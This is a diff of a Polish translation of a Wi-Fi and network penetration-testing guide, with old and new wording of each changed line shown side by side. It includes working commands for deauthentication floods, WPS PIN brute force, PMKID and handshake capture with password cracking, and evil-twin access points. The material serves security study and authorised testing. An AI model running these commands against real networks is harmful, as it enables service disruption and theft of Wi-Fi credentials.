Weź pod uwagę, że gdy pakiet UDP jest wysyłany do urządzenia, które nie ma żądanego portu, wysyłany jest ICMP (Port Unreachable).
Weź pod uwagę, że gdy pakiet UDP jest wysyłany do urządzenia, które nie ma żądanego portu, wysyłany jest komunikat ICMP (Port Unreachable).
### **ARP discover**
@ -774,7 +774,7 @@ Pakiety ARP są używane do odkrywania, które adresy IP są używane w sieci. K
### **mDNS (multicast DNS)**
Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_udp.local**. Maszyna, która widzi ten pakiet, zazwyczaj odpowiada na to zapytanie. Następnie wyszukuje tylko maszyny odpowiadające na "services".
Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_udp.local**, maszyna, która widzi ten pakiet, zazwyczaj odpowiada na to zapytanie. Następnie wyszukuje tylko maszyny odpowiadające na "services".
**Narzędzia**
@ -784,21 +784,21 @@ Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_ud
### **NBNS (NetBios Name Server)**
Bettercap rozsyła pakiety do portu 137/UDP pytając o nazwę "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
Bettercap wysyła pakiety broadcast do portu 137/UDP pytając o nazwę "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
### **SSDP (Simple Service Discovery Protocol)**
Bettercap rozsyła pakiety SSDP w poszukiwaniu wszelkiego rodzaju usług (UDP Port 1900).
Bettercap wysyła pakiety SSDP broadcast w poszukiwaniu wszelkiego rodzaju usług (UDP Port 1900).
### **WSD (Web Service Discovery)**
Bettercap rozsyła pakiety WSD w poszukiwaniu usług (UDP Port 3702).
Bettercap wysyła pakiety WSD broadcast w poszukiwaniu usług (UDP Port 3702).
## Odniesienia
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- **Ocena bezpieczeństwa sieci: Poznaj swoją sieć (3. wydanie)**
- **Praktyczne Hacking IoT: Ostateczny przewodnik po atakowaniu Internetu Rzeczy. Autorzy: Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- **Network Security Assessment: Know Your Network (3rd edition)**
- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
- [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)

View File

@ -30,7 +30,7 @@ mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**Uruchom airgeddon za pomocą dockera**
**Uruchom airgeddon z dockerem**
```bash
docker run \
--rm \
@ -56,7 +56,7 @@ sudo python setup.py install # Install any dependencies
To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
- Ustawia interfejs w trybie monitorowania
- Skanuje możliwe sieci - I pozwala wybrać ofiarę/y
- Skanuje w poszukiwaniu możliwych sieci - I pozwala wybrać ofiarę/y
- Jeśli WEP - Uruchamia ataki WEP
- Jeśli WPA-PSK
- Jeśli WPS: atak Pixie dust i atak brute-force (uważaj, atak brute-force może zająć dużo czasu). Zauważ, że nie próbuje pustego PIN-u ani PIN-ów z bazy danych/wygenerowanych.
@ -67,13 +67,13 @@ To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
## Podsumowanie Ataków
- **DoS**
- Deautoryzacja/disasocjacja -- Rozłącz wszystkich (lub konkretny ESSID/Klienta)
- Losowe fałszywe AP -- Ukryj sieci, możliwe zablokowanie skanerów
- Przeciążenie AP -- Spróbuj zabić AP (zwykle mało użyteczne)
- WIDS -- Baw się IDS
- Deautoryzacja/disasocjacja -- Rozłącza wszystkich (lub konkretny ESSID/Klienta)
- Losowe fałszywe AP -- Ukrywa sieci, możliwe awarie skanerów
- Przeciążenie AP -- Próbuje zabić AP (zwykle mało użyteczne)
- WIDS -- Bawi się IDS
- TKIP, EAPOL -- Niektóre specyficzne ataki DoS na niektóre AP
- **Cracking**
- Złam **WEP** (kilka narzędzi i metod)
- Złamanie **WEP** (kilka narzędzi i metod)
- **WPA-PSK**
- **WPS** pin "Brute-Force"
- **WPA PMKID** brute-force
@ -95,7 +95,7 @@ To narzędzie automatyzuje ataki **WPS/WEP/WPA-PSK**. Automatycznie:
**Opis z** [**tutaj**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
Ataki **deautoryzacji**, powszechnie stosowana metoda w hackingu Wi-Fi, polegają na fałszowaniu ramek "zarządzania", aby **siłą rozłączyć urządzenia z sieci**. Te niezaszyfrowane pakiety oszukują klientów, sprawiając, że wierzą, iż pochodzą z legalnej sieci, co umożliwia atakującym zbieranie handshake'ów WPA w celu ich złamania lub ciągłego zakłócania połączeń sieciowych. Ta taktyka, niepokojąca w swojej prostocie, jest szeroko stosowana i ma znaczące implikacje dla bezpieczeństwa sieci.
Ataki **deautoryzacji**, powszechnie stosowana metoda w hackingu Wi-Fi, polegają na fałszowaniu "ram zarządzających", aby **siłą rozłączyć urządzenia z sieci**. Te niezaszyfrowane pakiety oszukują klientów, sprawiając, że wierzą, iż pochodzą z legalnej sieci, co umożliwia atakującym zbieranie handshake'ów WPA do celów łamania lub trwałe zakłócanie połączeń sieciowych. Ta taktyka, niepokojąca w swojej prostocie, jest szeroko stosowana i ma znaczące implikacje dla bezpieczeństwa sieci.
**Deautoryzacja przy użyciu Aireplay-ng**
```
@ -109,7 +109,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### Pakiety Dezaktywacji
**Pakiety dezaktywacji**, podobnie jak pakiety deautoryzacji, są rodzajem ramki zarządzającej używanej w sieciach Wi-Fi. Pakiety te służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępowym (AP). Główna różnica między dezaktywacją a deautoryzacją polega na ich scenariuszach użycia. Podczas gdy AP emituje **pakiety deautoryzacji, aby usunąć nieautoryzowane urządzenia z sieci, pakiety dezaktywacji są zazwyczaj wysyłane, gdy AP przechodzi w tryb wyłączenia**, restartu lub przenoszenia, co wymaga rozłączenia wszystkich podłączonych węzłów.
**Pakiety dezaktywacji**, podobnie jak pakiety deautoryzacji, są rodzajem ramki zarządzającej używanej w sieciach Wi-Fi. Pakiety te służą do zerwania połączenia między urządzeniem (takim jak laptop lub smartfon) a punktem dostępowym (AP). Główna różnica między dezaktywacją a deautoryzacją polega na ich scenariuszach użycia. Podczas gdy AP emituje **pakiety deautoryzacji, aby explicite usunąć nieautoryzowane urządzenia z sieci, pakiety dezaktywacji są zazwyczaj wysyłane, gdy AP przechodzi w tryb wyłączenia**, restartu lub przenoszenia, co wymaga rozłączenia wszystkich podłączonych węzłów.
**Ten atak można przeprowadzić za pomocą mdk4 (tryb "d"):**
```bash
@ -167,9 +167,9 @@ mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
Różne ataki na zarządzanie łączami i routowanie w sieciach mesh.
**TRYB ATAKU w: Confusion WIDS**
**TRYB ATAKU w: Confuzja WIDS**
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi AP może manipulować systemami wykrywania i zapobiegania włamaniom, tworząc zamieszanie i potencjalne nadużycia systemu.
Krzyżowe łączenie klientów z wieloma węzłami WDS lub fałszywymi AP-ami może manipulować systemami wykrywania i zapobiegania włamaniom, tworząc zamieszanie i potencjalne nadużycia systemu.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
@ -193,7 +193,7 @@ WPS (Wi-Fi Protected Setup) upraszcza proces łączenia urządzeń z routerem, z
Istnieją 2 główne narzędzia do przeprowadzenia tej akcji: Reaver i Bully.
- **Reaver** został zaprojektowany jako solidny i praktyczny atak przeciwko WPS i był testowany na szerokiej gamie punktów dostępowych i implementacji WPS.
- **Bully** to **nowa implementacja** ataku brute force WPS, napisana w C. Ma kilka zalet w porównaniu do oryginalnego kodu reaver: mniej zależności, poprawiona wydajność pamięci i CPU, prawidłowe obsługiwanie endianness oraz bardziej rozbudowany zestaw opcji.
- **Bully** to **nowa implementacja** ataku brute force na WPS, napisana w C. Ma kilka zalet w porównaniu do oryginalnego kodu reavera: mniej zależności, poprawiona wydajność pamięci i CPU, prawidłowe obsługiwanie endianness oraz bardziej rozbudowany zestaw opcji.
Atak wykorzystuje **wrażliwość PIN-u WPS**, szczególnie jego ujawnienie pierwszych czterech cyfr oraz rolę ostatniej cyfry jako sumy kontrolnej, co ułatwia atak brute-force. Jednak obrony przed atakami brute-force, takie jak **blokowanie adresów MAC** agresywnych atakujących, wymagają **rotacji adresów MAC**, aby kontynuować atak.
@ -211,7 +211,7 @@ To udoskonalone podejście celuje w PIN-y WPS wykorzystując znane luki:
### WPS Pixie Dust attack
**Dominique Bongard** odkrył błąd w niektórych punktach dostępowych (AP) dotyczący tworzenia tajnych kodów, znanych jako **nonces** (**E-S1** i **E-S2**). Jeśli te nonces można odgadnąć, złamanie PIN-u WPS AP staje się łatwe. AP ujawnia PIN w specjalnym kodzie (hash), aby udowodnić, że jest legitny, a nie fałszywy (rogue) AP. Te nonces są zasadniczo "kluczami" do odblokowania "sejfu", który przechowuje PIN WPS. Więcej na ten temat można znaleźć [tutaj](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
**Dominique Bongard** odkrył lukę w niektórych punktach dostępowych (AP) dotyczących tworzenia tajnych kodów, znanych jako **nonces** (**E-S1** i **E-S2**). Jeśli te nonces można odgadnąć, złamanie PIN-u WPS AP staje się łatwe. AP ujawnia PIN w specjalnym kodzie (hash), aby udowodnić, że jest on legitny, a nie fałszywy (rogue) AP. Te nonces są zasadniczo "kluczami" do odblokowania "sejfu", który przechowuje PIN WPS. Więcej na ten temat można znaleźć [tutaj](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
Mówiąc prosto, problem polega na tym, że niektóre AP nie używały wystarczająco losowych kluczy do szyfrowania PIN-u podczas procesu łączenia. To sprawia, że PIN jest podatny na odgadnięcie z zewnątrz sieci (offline brute force attack).
```bash
@ -237,7 +237,7 @@ Wszystkie proponowane ataki WPS można łatwo przeprowadzić za pomocą _**airge
- 5 i 6 pozwalają na wypróbowanie **twojego własnego PIN-u** (jeśli go masz)
- 7 i 8 wykonują **atak Pixie Dust**
- 13 pozwala na przetestowanie **NULL PIN**
- 11 i 12 **zbiorą PIN-y związane z wybranym AP z dostępnych baz danych** i **wygenerują** możliwe **PIN-y** za pomocą: ComputePIN, EasyBox i opcjonalnie Arcadyan (zalecane, czemu nie?)
- 11 i 12 **zbiorą PIN-y związane z wybranym AP z dostępnych baz danych** i **wygenerują** możliwe **PIN-y** używając: ComputePIN, EasyBox i opcjonalnie Arcadyan (zalecane, czemu nie?)
- 9 i 10 przetestują **każdy możliwy PIN**
## **WEP**
@ -254,7 +254,7 @@ Tak zniszczony i nieużywany w dzisiejszych czasach. Po prostu wiedz, że _**air
### PMKID
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ potrzebuje tylko **jednego pakietu** i nie wymaga, aby jakiekolwiek urządzenia klienckie były połączone z docelowym AP—wystarczy interakcja między atakującym a AP.
W 2018 roku **hashcat** [ujawnił](https://hashcat.net/forum/thread-7717.html) nową metodę ataku, unikalną, ponieważ potrzebuje tylko **jednego pakietu** i nie wymaga, aby jakiekolwiek urządzenia były podłączone do docelowego AP—wystarczy interakcja między atakującym a AP.
Wiele nowoczesnych routerów dodaje **opcjonalne pole** do **pierwszej ramki EAPOL** podczas asocjacji, znane jako `Robust Security Network`. Zawiera to `PMKID`.
@ -276,7 +276,7 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
Złapane **PMKIDy** będą wyświetlane w **konsoli** i również **zapisane** w \_ **/tmp/attack.pcap**\_\
Złapane **PMKID-y** będą wyświetlane w **konsoli** i również **zapisane** w \_ **/tmp/attack.pcap**\_\
Teraz przekształć zrzut do formatu **hashcat/john** i złam go:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
@ -293,11 +293,11 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_Zauważyłem, że niektóre przechwycone handshake za pomocą tego narzędzia nie mogły być złamane, nawet znając poprawne hasło. Zalecałbym przechwytywanie handshake również w tradycyjny sposób, jeśli to możliwe, lub przechwytywanie ich w większej liczbie za pomocą tego narzędzia._
_Zauważyłem, że niektóre przechwycone handshake za pomocą tego narzędzia nie mogły być złamane, nawet znając poprawne hasło. Zalecałbym również przechwytywanie handshake w tradycyjny sposób, jeśli to możliwe, lub przechwytywanie ich kilku za pomocą tego narzędzia._
### Przechwytywanie handshake
Atak na sieci **WPA/WPA2** można przeprowadzić, przechwytując **handshake** i próbując **złamać** hasło **offline**. Proces ten polega na monitorowaniu komunikacji konkretnej sieci i **BSSID** na określonym **kanale**. Oto uproszczony przewodnik:
Atak na **WPA/WPA2** może być przeprowadzony poprzez przechwycenie **handshake** i próbę **złamania** hasła **offline**. Proces ten polega na monitorowaniu komunikacji konkretnej sieci i **BSSID** na określonym **kanale**. Oto uproszczony przewodnik:
1. Zidentyfikuj **BSSID**, **kanał** i **połączonego klienta** docelowej sieci.
2. Użyj `airodump-ng`, aby monitorować ruch sieciowy na określonym kanale i BSSID, mając nadzieję na przechwycenie handshake. Komenda będzie wyglądać następująco:
@ -332,7 +332,7 @@ tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_Jeśli to narzędzie znajdzie niekompletny handshake ESSID przed ukończonym, nie wykryje ważnego._
_Jeśli to narzędzie znajdzie niekompletny handshake ESSID przed ukończonym, nie wykryje ważnego._
**pyrit**
```bash
@ -341,14 +341,14 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
W **ustawieniach WiFi dla przedsiębiorstw napotkasz różne metody uwierzytelniania**, z których każda oferuje różne poziomy bezpieczeństwa i funkcje zarządzania. Gdy używasz narzędzi takich jak `airodump-ng` do inspekcji ruchu sieciowego, możesz zauważyć identyfikatory dla tych typów uwierzytelniania. Niektóre powszechne metody to:
W **ustawieniach WiFi dla przedsiębiorstw napotkasz różne metody uwierzytelniania**, z których każda oferuje różne poziomy bezpieczeństwa i funkcje zarządzania. Gdy używasz narzędzi takich jak `airodump-ng`, aby sprawdzić ruch sieciowy, możesz zauważyć identyfikatory dla tych typów uwierzytelniania. Niektóre powszechne metody to:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
1. **EAP-GTC (Generic Token Card)**:
- Ta metoda obsługuje tokeny sprzętowe i jednorazowe hasła w ramach EAP-PEAP. W przeciwieństwie do MSCHAPv2, nie używa wyzwania od partnera i wysyła hasła w postaci niezaszyfrowanej do punktu dostępowego, co stwarza ryzyko ataków downgrade.
- Ta metoda obsługuje tokeny sprzętowe i jednorazowe hasła w ramach EAP-PEAP. W przeciwieństwie do MSCHAPv2, nie używa wyzwania od partnera i wysyła hasła w postaci niezaszyfrowanej do punktu dostępowego, co stwarza ryzyko ataków typu downgrade.
2. **EAP-MD5 (Message Digest 5)**:
- Polega na wysyłaniu hasha MD5 hasła z klienta. **Nie jest zalecane** z powodu podatności na ataki słownikowe, braku uwierzytelnienia serwera i niemożności generowania kluczy WEP specyficznych dla sesji.
- Polega na wysyłaniu hasha MD5 hasła z klienta. **Nie jest zalecane** z powodu podatności na ataki słownikowe, braku uwierzytelnienia serwera oraz niemożności generowania kluczy WEP specyficznych dla sesji.
3. **EAP-TLS (Transport Layer Security)**:
- Wykorzystuje zarówno certyfikaty po stronie klienta, jak i serwera do uwierzytelniania i może dynamicznie generować klucze WEP oparte na użytkownikach i sesjach w celu zabezpieczenia komunikacji.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
@ -362,28 +362,28 @@ Możesz znaleźć więcej informacji na temat tych metod uwierzytelniania [tutaj
### Przechwytywanie Nazwy Użytkownika
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), wygląda na to, że jeśli używasz **EAP**, to **"Identity"** **messages** muszą być **obsługiwane**, a **nazwa użytkownika** będzie wysyłana w **czystym** w **"Response Identity"** messages.
Czytając [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27), wygląda na to, że jeśli używasz **EAP**, to **wiadomości "Tożsamość"** muszą być **obsługiwane**, a **nazwa użytkownika** będzie wysyłana w **czystym** w **wiadomościach "Odpowiedź Tożsamości"**.
Nawet używając jednej z najbezpieczniejszych metod uwierzytelniania: **PEAP-EAP-TLS**, możliwe jest **przechwycenie nazwy użytkownika wysłanej w protokole EAP**. Aby to zrobić, **przechwyć komunikację uwierzytelniającą** (uruchom `airodump-ng` w kanale i `wireshark` na tym samym interfejsie) i filtruj pakiety według `eapol`.\
Wewnątrz pakietu "**Response, Identity**" pojawi się **nazwa użytkownika** klienta.
Wewnątrz pakietu "**Odpowiedź, Tożsamość**" pojawi się **nazwa użytkownika** klienta.
![](<../../images/image (850).png>)
### Anonimowe Tożsamości
Ukrywanie tożsamości jest obsługiwane zarówno przez EAP-PEAP, jak i EAP-TTLS. W kontekście sieci WiFi, żądanie EAP-Identity jest zazwyczaj inicjowane przez punkt dostępowy (AP) podczas procesu asocjacji. Aby zapewnić ochronę anonimowości użytkownika, odpowiedź z klienta EAP na urządzeniu użytkownika zawiera tylko niezbędne informacje wymagane do przetworzenia żądania przez początkowy serwer RADIUS. Koncepcja ta jest ilustrowana przez następujące scenariusze:
Ukrywanie tożsamości jest obsługiwane zarówno przez EAP-PEAP, jak i EAP-TTLS. W kontekście sieci WiFi, żądanie EAP-Identity jest zazwyczaj inicjowane przez punkt dostępowy (AP) podczas procesu asocjacji. Aby zapewnić ochronę anonimowości użytkownika, odpowiedź od klienta EAP na urządzeniu użytkownika zawiera tylko niezbędne informacje wymagane do przetworzenia żądania przez początkowy serwer RADIUS. Koncepcja ta jest ilustrowana przez następujące scenariusze:
- EAP-Identity = anonymous
- W tym scenariuszu wszyscy użytkownicy używają pseudonimowej "anonymous" jako swojego identyfikatora użytkownika. Początkowy serwer RADIUS działa jako serwer EAP-PEAP lub EAP-TTLS, odpowiedzialny za zarządzanie stroną serwera protokołu PEAP lub TTLS. Wewnętrzna (chroniona) metoda uwierzytelniania jest następnie obsługiwana lokalnie lub delegowana do zdalnego (domowego) serwera RADIUS.
- EAP-Identity = anonymous@realm_x
- W tej sytuacji użytkownicy z różnych realmów ukrywają swoje tożsamości, jednocześnie wskazując swoje odpowiednie realm. Umożliwia to początkowemu serwerowi RADIUS proxy'owanie żądań EAP-PEAP lub EAP-TTLS do serwerów RADIUS w ich domowych realmach, które działają jako serwer PEAP lub TTLS. Początkowy serwer RADIUS działa wyłącznie jako węzeł przekaźnikowy RADIUS.
- EAP-Identity = anonimowy
- W tym scenariuszu wszyscy użytkownicy używają pseudonimowego "anonimowy" jako swojego identyfikatora użytkownika. Początkowy serwer RADIUS działa jako serwer EAP-PEAP lub EAP-TTLS, odpowiedzialny za zarządzanie stroną serwera protokołu PEAP lub TTLS. Wewnętrzna (chroniona) metoda uwierzytelniania jest następnie obsługiwana lokalnie lub delegowana do zdalnego (domowego) serwera RADIUS.
- EAP-Identity = anonimowy@realm_x
- W tej sytuacji użytkownicy z różnych realmów ukrywają swoje tożsamości, jednocześnie wskazując swoje odpowiednie realm. Umożliwia to początkowemu serwerowi RADIUS proxy żądania EAP-PEAP lub EAP-TTLS do serwerów RADIUS w ich domowych realmach, które działają jako serwer PEAP lub TTLS. Początkowy serwer RADIUS działa wyłącznie jako węzeł przekaźnikowy RADIUS.
- Alternatywnie, początkowy serwer RADIUS może działać jako serwer EAP-PEAP lub EAP-TTLS i albo obsługiwać chronioną metodę uwierzytelniania, albo przekazywać ją do innego serwera. Ta opcja ułatwia konfigurację odmiennych polityk dla różnych realmów.
W EAP-PEAP, po nawiązaniu tunelu TLS między serwerem PEAP a klientem PEAP, serwer PEAP inicjuje żądanie EAP-Identity i przesyła je przez tunel TLS. Klient odpowiada na to drugie żądanie EAP-Identity, wysyłając odpowiedź EAP-Identity zawierającą prawdziwą tożsamość użytkownika przez zaszyfrowany tunel. To podejście skutecznie zapobiega ujawnieniu rzeczywistej tożsamości użytkownika komukolwiek podsłuchującemu ruch 802.11.
EAP-TTLS postępuje nieco inną procedurą. W przypadku EAP-TTLS klient zazwyczaj uwierzytelnia się za pomocą PAP lub CHAP, zabezpieczonych przez tunel TLS. W tym przypadku klient dołącza atrybut User-Name oraz atrybut Password lub CHAP-Password w początkowej wiadomości TLS wysyłanej po nawiązaniu tunelu.
Bez względu na wybrany protokół, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po nawiązaniu tunelu TLS. Prawdziwa tożsamość może być reprezentowana jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnienie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. To nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name wiadomości RADIUS wychodzącej zawiera prawdziwą tożsamość użytkownika, zastępując anonimową nazwę użytkownika z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybut User-Name i inne atrybuty uwierzytelniające wyodrębnione z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimową nazwę użytkownika i atrybuty TTLS EAP-Message znajdujące się w przychodzącym żądaniu RADIUS.
Bez względu na wybrany protokół, serwer PEAP/TTLS uzyskuje wiedzę o prawdziwej tożsamości użytkownika po nawiązaniu tunelu TLS. Prawdziwa tożsamość może być reprezentowana jako user@realm lub po prostu user. Jeśli serwer PEAP/TTLS jest również odpowiedzialny za uwierzytelnienie użytkownika, teraz posiada tożsamość użytkownika i kontynuuje metodę uwierzytelniania chronioną przez tunel TLS. Alternatywnie, serwer PEAP/TTLS może przekazać nowe żądanie RADIUS do domowego serwera RADIUS użytkownika. To nowe żądanie RADIUS pomija warstwę protokołu PEAP lub TTLS. W przypadkach, gdy chroniona metoda uwierzytelniania to EAP, wewnętrzne wiadomości EAP są przesyłane do domowego serwera RADIUS bez opakowania EAP-PEAP lub EAP-TTLS. Atrybut User-Name w wychodzącej wiadomości RADIUS zawiera prawdziwą tożsamość użytkownika, zastępując anonimowy User-Name z przychodzącego żądania RADIUS. Gdy chroniona metoda uwierzytelniania to PAP lub CHAP (obsługiwane tylko przez TTLS), atrybut User-Name i inne atrybuty uwierzytelniające wyodrębnione z ładunku TLS są zastępowane w wychodzącej wiadomości RADIUS, zastępując anonimowy User-Name i atrybuty TTLS EAP-Message znajdujące się w przychodzącym żądaniu RADIUS.
Aby uzyskać więcej informacji, sprawdź [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
@ -414,17 +414,17 @@ Możesz również przeprowadzić ten atak za pomocą `eaphammer`:
- Stacje przechowują ESSID każdej sieci bezprzewodowej, do której się łączą, w swojej Liście Preferowanych Sieci (PNL), wraz z szczegółami konfiguracji specyficznymi dla sieci.
- PNL jest używana do automatycznego łączenia się z znanymi sieciami, poprawiając doświadczenie użytkownika poprzez uproszczenie procesu łączenia.
### Skanowanie pasywne
### Pasywne skanowanie
- AP okresowo nadają ramki beacon, ogłaszając swoją obecność i cechy, w tym ESSID AP, chyba że nadawanie jest wyłączone.
- Podczas skanowania pasywnego stacje nasłuchują ramek beacon. Jeśli ESSID beacona pasuje do wpisu w PNL stacji, stacja może automatycznie połączyć się z tym AP.
- Podczas pasywnego skanowania stacje nasłuchują ramek beacon. Jeśli ESSID beacona pasuje do wpisu w PNL stacji, stacja może automatycznie połączyć się z tym AP.
- Znajomość PNL urządzenia pozwala na potencjalne wykorzystanie poprzez naśladowanie ESSID znanej sieci, oszukując urządzenie, aby połączyło się z fałszywym AP.
### Aktywne sondowanie
- Aktywne sondowanie polega na wysyłaniu przez stacje żądań sondowania w celu odkrycia pobliskich AP i ich cech.
- Ukierunkowane żądania sondowania celują w konkretny ESSID, pomagając wykryć, czy dana sieć jest w zasięgu, nawet jeśli jest ukryta.
- Żądania sondowania rozgłoszeniowego mają pustą sekcję SSID i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakaś preferowana sieć bez ujawniania zawartości swojej PNL.
- Żądania sondowania rozgłoszeniowego mają pustą pole SSID i są wysyłane do wszystkich pobliskich AP, pozwalając stacji sprawdzić, czy istnieje jakaś preferowana sieć, nie ujawniając zawartości swojej PNL.
## Prosty AP z przekierowaniem do Internetu
@ -486,7 +486,7 @@ iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
### Przekazywanie i Przekierowanie
### Przekierowanie i Przekazywanie
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
@ -494,11 +494,11 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Atak evil twin wykorzystuje sposób, w jaki klienci WiFi rozpoznają sieci, polegając głównie na nazwie sieci (ESSID) bez konieczności uwierzytelniania stacji bazowej (punktu dostępowego) przez klienta. Kluczowe punkty to:
Atak evil twin wykorzystuje sposób, w jaki klienci WiFi rozpoznają sieci, polegając głównie na nazwie sieci (ESSID) bez konieczności uwierzytelniania stacji bazowej (punktu dostępowego) wobec klienta. Kluczowe punkty to:
- **Trudności w rozróżnieniu**: Urządzenia mają trudności z odróżnieniem legalnych punktów dostępowych od nieautoryzowanych, gdy dzielą tę samą ESSID i typ szyfrowania. W rzeczywistych sieciach często używa się wielu punktów dostępowych z tą samą ESSID, aby płynnie rozszerzyć zasięg.
- **Trudności w rozróżnieniu**: Urządzenia mają trudności z odróżnieniem legalnych punktów dostępowych od nieautoryzowanych, gdy dzielą tę samą ESSID i typ szyfrowania. Rzeczywiste sieci często używają wielu punktów dostępowych z tą samą ESSID, aby płynnie rozszerzyć zasięg.
- **Roaming klientów i manipulacja połączeniem**: Protokół 802.11 pozwala urządzeniom na roaming między punktami dostępowymi w tej samej ESS. Atakujący mogą to wykorzystać, kusząc urządzenie do rozłączenia się z aktualną stacją bazową i połączenia z nieautoryzowaną. Można to osiągnąć, oferując silniejszy sygnał lub zakłócając połączenie z legalnym punktem dostępowym za pomocą metod takich jak pakiety deautoryzacji lub zakłócanie.
- **Wyzwania w realizacji**: Skuteczne przeprowadzenie ataku evil twin w środowiskach z wieloma, dobrze rozmieszczonymi punktami dostępowymi może być trudne. Deautoryzacja pojedynczego legalnego punktu dostępowego często skutkuje połączeniem urządzenia z innym legalnym punktem dostępowym, chyba że atakujący może deautoryzować wszystkie pobliskie punkty dostępowe lub strategicznie umieścić nieautoryzowany punkt dostępowy.
- **Wyzwania w realizacji**: Skuteczne przeprowadzenie ataku evil twin w środowiskach z wieloma, dobrze umiejscowionymi punktami dostępowymi może być trudne. Deautoryzacja pojedynczego legalnego punktu dostępowego często skutkuje połączeniem urządzenia z innym legalnym punktem dostępowym, chyba że atakujący może deautoryzować wszystkie pobliskie punkty dostępowe lub strategicznie umieścić nieautoryzowany punkt dostępowy.
Możesz stworzyć bardzo podstawowy Open Evil Twin (bez możliwości routowania ruchu do Internetu) wykonując:
```bash
@ -514,21 +514,21 @@ Lub używając Airgeddon: `Options: 5,6,7,8,9 (w menu ataku Evil Twin).`
Proszę zauważyć, że domyślnie, jeśli ESSID w PNL jest zapisany jako chroniony WPA, urządzenie nie połączy się automatycznie z otwartym evil Twin. Możesz spróbować DoS prawdziwego AP i mieć nadzieję, że użytkownik połączy się ręcznie z twoim otwartym evil twin, lub możesz DoS prawdziwego AP i użyć WPA Evil Twin, aby przechwycić handshake (używając tej metody nie będziesz w stanie pozwolić ofierze połączyć się z tobą, ponieważ nie znasz PSK, ale możesz przechwycić handshake i spróbować go złamać).
_Niektóre systemy operacyjne i oprogramowanie antywirusowe ostrzegą użytkownika, że połączenie z otwartą siecią jest niebezpieczne..._
_Niektóre systemy operacyjne i oprogramowanie antywirusowe będą ostrzegać użytkownika, że połączenie z otwartą siecią jest niebezpieczne..._
### WPA/WPA2 Evil Twin
